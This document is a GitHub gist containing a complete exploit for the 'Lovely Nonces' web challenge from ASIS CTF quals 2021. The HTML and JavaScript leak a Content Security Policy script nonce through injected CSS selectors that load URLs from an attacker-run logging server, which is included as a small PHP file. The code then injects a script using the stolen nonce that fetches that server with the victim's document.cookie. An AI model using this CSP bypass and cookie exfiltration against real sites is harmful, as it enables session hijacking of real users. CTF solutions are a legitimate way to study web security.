Skip to content

Instantly share code, notes, and snippets.

@SakiiR
Created October 25, 2021 09:38
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save SakiiR/a58d719469c2bb9e93510101a1fab785 to your computer and use it in GitHub Desktop.
Save SakiiR/a58d719469c2bb9e93510101a1fab785 to your computer and use it in GitHub Desktop.
ASIS CTF quals 2021 - Lovely Nonces
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Exploit</title>
</head>
<body>
<script>
// Dockerfile
`
FROM php:latest
RUN mkdir -p /usr/src/app
COPY index.php /usr/src/app/
COPY exploit.html /usr/src/app/
WORKDIR /usr/src/app
CMD php -S 0.0.0.0:4444
`;
// index.php
`
<?php
$filename = "/tmp/leaks.txt";
if (!!isset($_GET['leak'])) {
return @file_put_contents($filename, $_GET['leak']);
}
echo @file_get_contents($filename);
`;
const $ = (s) => document.querySelector(s);
const $$ = (s) => document.querySelectorAll(s);
const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
const Config = {
URL: "http://lovely-nonces.asisctf.com:8000/",
window: null,
charset: "0123456789abcdefghijklmnopqrstuvwxyz",
leak: "http://localhost:9998", // Where the docker is exposed
timing: 10,
};
Config.window = open(Config.URL);
function getCss(prefix = "") {
let css = "";
for (const c of Config.charset) {
const test = prefix + c;
const leakUrl = `${Config.leak}?leak=${test}`;
css += `script[nonce^="${test}"]{display:block;background:url("${leakUrl}")}\n`;
}
return `<style>\n${css}</style>`;
}
async function getState() {
const response = await fetch("/");
const text = await response.text();
return text;
}
async function main() {
let nonce = "";
// Leak the nonce
while (nonce.length < 16) {
await sleep(Config.timing);
Config.window.location = `${Config.URL}#${getCss(nonce)}`;
await sleep(Config.timing);
nonce = await getState();
}
// Final exploit code
async function exploit(leakUrl) {
fetch(`${leakUrl}?leak=${atob(document.cookie)}`);
alert(document.domain);
}
// Injecting payload
const html = `
<iframe srcdoc='
<script nonce="${nonce}">
(${exploit.toString()})("${Config.leak}");//
<%2fscript>'>
</iframe>
`;
// We know the nonce, use it
Config.window.location = `${Config.URL}#${html}`;
}
window.addEventListener("DOMContentLoaded", main);
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment